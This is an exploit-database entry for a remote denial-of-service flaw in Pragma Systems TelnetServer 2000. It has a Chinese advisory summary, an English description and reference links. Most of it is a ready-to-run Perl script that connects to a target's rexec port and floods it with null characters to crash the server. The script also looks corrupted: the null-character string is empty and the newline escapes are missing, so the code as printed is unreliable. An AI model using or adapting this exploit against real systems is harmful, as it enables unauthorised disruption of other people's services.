https://www.exploit-db.com/exploits/20175
http://www.cnnvd.org.cn/web/xxk/ldxqById.tag?CNNVD=CNNVD-200010-108

PragmaSystemsTelnetServer20004.0版本存在缓冲区溢出漏洞。远程攻击者可以借助到rexec端口的一系列超长空字符来导致服务拒绝。

source: http://www.securityfocus.com/bid/1605/info

Pragma Systems offers a windows remote access server called TelnetServer 2000. TelnetServer crashes if more than 1000 NULL characters are sent to its rexec port, 512. This can be executed by an anonymous attacker from anywhere on the internet. It is not known whether this apparent overflow can be exploited to gain access on the victim host.

#!/usr/bin/perl
#########################################################
# Exploit by USSRLabs www.ussrback.com
# send 5k of null causes the server to crash.
#########################################################
#
# ./$0.pl -s <server> -p <port>
#
# Null request DoS
#
use Getopt::Std;
use Socket;

getopts('s:p', %args);
if(!defined($args{s})){&usage;}

my($serv,$port,$URL,$buf,$in_addr,$paddr,$proto);
$serv = $args{s};                       # remote server
$port = $args{p} || 512;                # remote port, default is 512
$foo = "";                            # this is the Null
$number = "1000";                       # this is the total number of Null
$data .= $foo x $number;                # result of $foo times $number
$buf = "$data";                         # issue this response to the server

$in_addr = (gethostbyname($serv))[4] || die("Error: $!n");
$paddr = sockaddr_in($port, $in_addr) || die ("Error: $!n");
$proto = getprotobyname('tcp') || die("Error: $!n");

socket(S, PF_INET, SOCK_STREAM, $proto) || die("Error: $!");
connect(S, $paddr) ||die ("Error: $!");
select(S); $| = 1; select(STDOUT);
print S "$buf";

print("Data has been successfully sent to $servn");

sub usage {die("nn$0 -s <server> [ -p <port> ]nn");}

来源:BID
名称:1605
链接:http://www.securityfocus.com/bid/1605
来源:www.pragmasys.com
链接:http://www.pragmasys.com/TelnetServer/
来源:NTBUGTRAQ
名称:20000824RemoteDoSAttackinPragmaTelnetServer2000(RemoteExecuteDaemon)Vulnerability
链接:http://www.ntbugtraq.com/default.asp?pid=36&sid;=1&A2;=ind0008&L;=NTBUGTRAQ&P;=R4247